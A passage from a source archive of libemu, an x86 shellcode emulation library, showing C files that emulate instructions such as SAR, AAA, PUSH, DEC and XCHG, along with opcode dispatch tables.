bytes in ES:[(E)DI] and DS:[(E)SI] * REPNE CMPS m8,m8 */ return 0; } int32_t instr_repcc_f2a7(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F2 A7 * Find matching words in ES:[(E)DI] and DS:[(E)SI] * REPNE CMPS m16,m16 */ /* F2 A7 * Find matching doublewords in ES:[(E)DI] and DS:[(E)SI] * REPNE CMPS m32,m32 */ return 0; } int32_t instr_repcc_f2ae(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F2 AE * Find AL, starting at ES:[(E)DI] * REPNE SCAS m8 */ return 0; } int32_t instr_repcc_f2af(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F2 AF * Find AX, starting at ES:[(E)DI] * REPNE SCAS m16 */ /* F2 AF * Find EAX, starting at ES:[(E)DI] * REPNE SCAS m32 */ return 0; } int32_t instr_repcc_f36c(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 6C * Input (E)CX bytes from port DX into ES:[(E)DI] * REP INS r/m8, DX */ return 0; } int32_t instr_repcc_f36d(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 6D * Input (E)CX words from port DX into ES:[(E)DI] * REP INS r/m16,DX */ /* F3 6D * Input (E)CX doublewords from port DX into ES:[(E)DI] * REP INS r/m32,DX */ return 0; } int32_t instr_repcc_f36e(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 6E * Output (E)CX bytes from DS:[(E)SI] to port DX * REP OUTS DX,r/m8 */ return 0; } int32_t instr_repcc_f36f(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 6F * Output (E)CX words from DS:[(E)SI] to port DX * REP OUTS DX,r/m16 */ /* F3 6F * Output (E)CX doublewords from DS:[(E)SI] to port DX * REP OUTS DX,r/m32 */ return 0; } int32_t instr_repcc_f3a4(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 A4 * Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI] * REP MOVS m8,m8 */ return 0; } int32_t instr_repcc_f3a5(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 A5 * Move (E)CX words from DS:[(E)SI] to ES:[(E)DI] * REP MOVS m16,m16 */ /* F3 A5 * Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI] * REP MOVS m32,m32 */ return 0; } int32_t instr_repcc_f3aa(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AA * Fill (E)CX bytes at ES:[(E)DI] with AL * REP STOS m8 */ return 0; } int32_t instr_repcc_f3ab(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AB * Fill (E)CX words at ES:[(E)DI] with AX * REP STOS m16 */ /* F3 AB * Fill (E)CX doublewords at ES:[(E)DI] with EAX * REP STOS m32 */ return 0; } int32_t instr_repcc_f3ac(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AC * Load (E)CX bytes from DS:[(E)SI] to AL * REP LODS AL */ return 0; } int32_t instr_repcc_f3ad(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AD * Load (E)CX words from DS:[(E)SI] to AX * REP LODS AX */ /* F3 AD * Load (E)CX doublewords from DS:[(E)SI] to EAX * REP LODS EAX */ return 0; } int32_t instr_repcc_f3a6(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 A6 * Find nonmatching bytes in ES:[(E)DI] and DS:[(E)SI] * REPE CMPS m8,m8 */ return 0; } int32_t instr_repcc_f3a7(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 A7 * Find nonmatching words in ES:[(E)DI] and DS:[(E)SI] * REPE CMPS m16,m16 */ /* F3 A7 * Find nonmatching doublewords in ES:[(E)DI] and DS:[(E)SI] * REPE CMPS m32,m32 */ return 0; } int32_t instr_repcc_f3ae(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AE * Find non-AL byte starting at ES:[(E)DI] * REPE SCAS m8 */ return 0; } int32_t instr_repcc_f3af(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* F3 AF * Find non-AX word starting at ES:[(E)DI] * REPE SCAS m16 */ /* F3 AF * Find non-EAX doubleword starting at ES:[(E)DI] * REPE SCAS m32 */ return 0; } libemu-0.2.0+git20120122+564/src/functions/sar.c0000644000175300017530000001635011706767213017600 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b &= 0x1f; \ if( operand_b > 0 ) \ { \ if( operation_result & (1 << (operand_b - 1)) ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ operation_result = (UINTOF(bits))((INTOF(bits))operation_result >> operand_b); \ if( operand_b == 1 ) \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ a = operation_result; \ } \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ if (b > 0) \ { \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/ int32_t instr_group_2_c0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /7 ib * Signed divide* r/m8 by 2, imm8 times * SAR r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /7 ib * Signed divide* r/m8 by 2, imm8 times * SAR r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /7 ib * Signed divide* r/m16 by 2, imm8 times * SAR r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /7 ib * Signed divide* r/m32 by 2, imm8 times * SAR r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /7 ib * Signed divide* r/m16 by 2, imm8 times * SAR r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /7 ib * Signed divide* r/m32 by 2, imm8 times * SAR r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /7 * Signed divide* r/m8 by 2, once * SAR r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /7 * Signed divide* r/m8 by 2, once * SAR r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /7 * Signed divide* r/m16 by 2, once * SAR r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /7 * Signed divide* r/m32 by 2, once * SAR r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /7 * Signed divide* r/m16 by 2, once * SAR r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /7 * Signed divide* r/m32 by 2, once * SAR r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /7 * Signed divide* r/m8 by 2, CL times * SAR r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /7 * Signed divide* r/m8 by 2, CL times * SAR r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_sar(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /7 * Signed divide* r/m16 by 2, CL times * SAR r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /7 * Signed divide* r/m32 by 2, CL times * SAR r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /7 * Signed divide* r/m16 by 2, CL times * SAR r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /7 * Signed divide* r/m32 by 2, CL times * SAR r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/aaa.c0000644000175300017530000000322411706767213017531 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" int32_t instr_aaa_37(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 37 * ASCII adjust AL after add * AAA */ if ( ((*c->reg8[al] & 0x0f) > 9) || CPU_FLAG_ISSET(c,f_af)) { *c->reg8[al] = *c->reg8[al] + 6; *c->reg8[ah] = *c->reg8[ah] + 1; CPU_FLAG_SET(c,f_af); CPU_FLAG_SET(c,f_cf); }else { CPU_FLAG_UNSET(c,f_af); CPU_FLAG_UNSET(c,f_cf); } *c->reg8[al] = (*c->reg8[al] & 0x0f); return 0; } libemu-0.2.0+git20120122+564/src/functions/push.c0000644000175300017530000001122111706767213017762 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 621*/ int32_t instr_push_06(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 06 * Push ES * PUSH ES */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_push_0e(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 0E * Push CS * PUSH CS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_push_16(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 16 * Push SS * PUSH SS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_push_1e(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 1E * Push DS * PUSH DS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_push_5x(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 50+rw * Push r16 * PUSH r16 */ PUSH_WORD(c, *c->reg16[i->opc & 7]) }else { /* 50+rd * Push r32 * PUSH r32 */ PUSH_DWORD(c, c->reg[i->opc & 7]) } return 0; } int32_t instr_push_68(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 68 * Push imm16 * PUSH imm16 */ PUSH_WORD(c, *i->imm16) } else { /* 68 * Push imm32 * PUSH imm32 */ PUSH_DWORD(c, i->imm) } return 0; } int32_t instr_push_6a(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 6A * Push imm8 * PUSH imm8 */ if ( i->prefixes & PREFIX_OPSIZE ) { uint16_t word = (uint16_t)((int8_t)*i->imm8); PUSH_WORD(c, word); } else { uint32_t dword = (uint32_t)((int8_t)*i->imm8); PUSH_DWORD(c, dword); } return 0; } int32_t instr_push_0fa0(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 0F A0 * Push FS * PUSH FS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_push_0f08(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* 0F A8 * Push GS * PUSH GS */ UNIMPLEMENTED(c, NNY); return 0; } int32_t instr_pushad_60(struct emu_cpu *c, struct emu_cpu_instruction *i) { uint32_t j; if( i->prefixes & PREFIX_OPSIZE ) { uint16_t temp = c->reg[sp]; for( j = 0; j < 8; j++ ) { if( j != 4 ) { PUSH_WORD(c, c->reg[j]); } else { PUSH_WORD(c, temp); } } } else { uint32_t temp = c->reg[esp]; for( j = 0; j < 8; j++ ) { if( j != 4 ) { PUSH_DWORD(c, c->reg[j]); } else { PUSH_DWORD(c, temp); } } } return 0; } int32_t instr_group_5_ff_push(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /6 * Push r/m16 * PUSH r/m16 */ uint16_t m16; MEM_WORD_READ(c,i->modrm.ea,&m16); PUSH_WORD(c, m16); } else { /* FF /6 * Push r/m32 * PUSH r/m32 */ uint32_t m32; MEM_DWORD_READ(c,i->modrm.ea,&m32); enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem, s_ss); PUSH_DWORD(c, m32); emu_memory_segment_select(c->mem, oldseg); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /6 * Push r/m16 * PUSH r/m16 */ PUSH_WORD(c, *c->reg16[i->modrm.rm]); } else { /* FF /6 * Push r/m32 * PUSH r/m32 */ PUSH_DWORD(c, c->reg[i->modrm.rm]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/dec.c0000644000175300017530000001036711706767213017550 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #define INSTR_CALC(bits, a) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operation_result = operand_a-1; \ a = operation_result; #define INSTR_SET_FLAG_OF(cpu, bits) \ { \ int64_t sz = (INTOF(bits))operand_a; \ \ sz--; \ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 186*/ #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a) \ INSTR_CALC(bits, a) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_OF(cpu,bits) int32_t instr_dec_4x(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 48+rw * Decrement r16 by 1 * DEC r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->opc & 7]) }else { /* 48+rw * Decrement r32 by 1 * DEC r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->opc & 7]) } return 0; } int32_t instr_group_4_fe_dec(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* FE /1 * Decrement r/m8 by 1 * DEC r/m8 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm]) } return 0; } int32_t instr_group_5_ff_dec(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /1 * Decrement r/m16 by 1 * DEC r/m16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* FF /1 * Decrement r/m32 by 1 * DEC r/m32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /1 * Decrement r/m16 by 1 * DEC r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm]) } else { /* FF /1 * Decrement r/m32 by 1 * DEC r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/xchg.c0000644000175300017530000001042311706767213017737 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" #include "emu/emu_track.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 754*/ int32_t instr_xchg_86(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* 86 /r * Exchange r8 (byte register) with byte from r/m8 * XCHG r/m8,r8 * Exchange byte from r/m8 with r8 (byte register) * XCHG r8,r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); MEM_BYTE_WRITE(c, i->modrm.ea, *c->reg8[i->modrm.opc]); *c->reg8[i->modrm.opc] = m8; } else { /* 86 /r * Exchange r8 (byte register) with byte from r/m8 * XCHG r/m8,r8 * Exchange byte from r/m8 with r8 (byte register) * XCHG r8,r/m8 */ uint8_t swap8 = *c->reg8[i->modrm.rm]; *c->reg8[i->modrm.rm] = *c->reg8[i->modrm.opc]; *c->reg8[i->modrm.opc] = swap8; } return 0; } int32_t instr_xchg_87(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 87 /r * Exchange r16 with word from r/m16 * XCHG r/m16,r16 * Exchange word from r/m16 with r16 * XCHG r16,r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); MEM_WORD_WRITE(c, i->modrm.ea, *c->reg16[i->modrm.opc]); *c->reg16[i->modrm.opc] = m16; } else { /* 87 /r * Exchange r32 with doubleword from r/m32 * XCHG r/m32,r32 * Exchange doubleword from r/m32 with r32 * XCHG r32,r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); MEM_DWORD_WRITE(c, i->modrm.ea, c->reg[i->modrm.opc]); c->reg[i->modrm.opc] = m32; } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* 87 /r * Exchange r16 with word from r/m16 * XCHG r/m16,r16 * Exchange word from r/m16 with r16 * XCHG r16,r/m16 */ uint16_t swap16 = *c->reg16[i->modrm.rm]; *c->reg16[i->modrm.rm] = *c->reg16[i->modrm.opc]; *c->reg16[i->modrm.opc] = swap16; } else { /* 87 /r * Exchange r32 with doubleword from r/m32 * XCHG r/m32,r32 * Exchange doubleword from r/m32 with r32 * XCHG r32,r/m32 */ uint32_t swap32 = c->reg[i->modrm.rm]; c->reg[i->modrm.rm] = c->reg[i->modrm.opc]; c->reg[i->modrm.opc] = swap32; } } return 0; } int32_t instr_xchg_9x(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 90+rw * Exchange r16 with AX * XCHG AX,r16 * Exchange AX with r16 * XCHG r16,AX */ uint16_t swap16 = *c->reg16[ax]; *c->reg16[ax] = *c->reg16[i->opc & 7]; *c->reg16[i->opc & 7] = swap16; } else { /* 90+rd * Exchange r32 with EAX * XCHG EAX,r32 * Exchange EAX with r32 * XCHG r32,EAX */ uint32_t swap32 = c->reg[eax]; c->reg[eax] = c->reg[i->opc & 7]; c->reg[i->opc & 7] = swap32; if ( c->tracking != NULL ) { swap32 = c->tracking->track.reg[eax]; c->tracking->track.reg[eax] = c->tracking->track.reg[i->opc & 7]; c->tracking->track.reg[i->opc & 7] = swap32; } } return 0; } libemu-0.2.0+git20120122+564/src/functions/group_3.c0000644000175300017530000000424311706767213020367 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_memory.h" int32_t instr_group_3_f6(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_3_f6_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_3_f6_test, /* 1 */ instr_group_3_f6_test, /* 2 */ instr_group_3_f6_not, /* 3 */ instr_group_3_f6_neg, /* 4 */ instr_group_3_f6_mul, /* 5 */ instr_group_3_f6_imul, /* 6 */ instr_group_3_f6_div, /* 7 */ instr_group_3_f6_idiv, }; return group_3_f6_fn[i->modrm.opc](c, i); } int32_t instr_group_3_f7(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_3_f7_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_3_f7_test, /* 1 */ instr_group_3_f7_test, /* 2 */ instr_group_3_f7_not, /* 3 */ instr_group_3_f7_neg, /* 4 */ instr_group_3_f7_mul, /* 5 */ instr_group_3_f7_imul, /* 6 */ instr_group_3_f7_div, /* 7 */ instr_group_3_f7_idiv, }; return group_3_f7_fn[i->modrm.opc](c, i); } libemu-0.2.0+git20120122+564/src/functions/group_4.c0000644000175300017530000000320311706767213020363 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_functions.h" #include "emu/emu_memory.h" int32_t instr_group_4_fe(struct emu_cpu *c, struct emu_cpu_instruction *i) { static int32_t (*group_4_fe_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = { /* 0 */ instr_group_4_fe_inc, /* 1 */ instr_group_4_fe_dec, /* 2 */ 0, /* 3 */ 0, /* 4 */ 0, /* 5 */ 0, /* 6 */ 0, /* 7 */ 0, }; if (group_4_fe_fn[i->modrm.opc]) return group_4_fe_fn[i->modrm.opc](c, i); else return -1; } libemu-0.2.0+git20120122+564/src/functions/xor.c0000644000175300017530000002714011706767213017622 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b, c, operation) \ INSTR_CALC(bits, a, b, c, operation) \ CPU_FLAG_UNSET(cpu, f_of); \ CPU_FLAG_UNSET(cpu, f_cf); \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #define 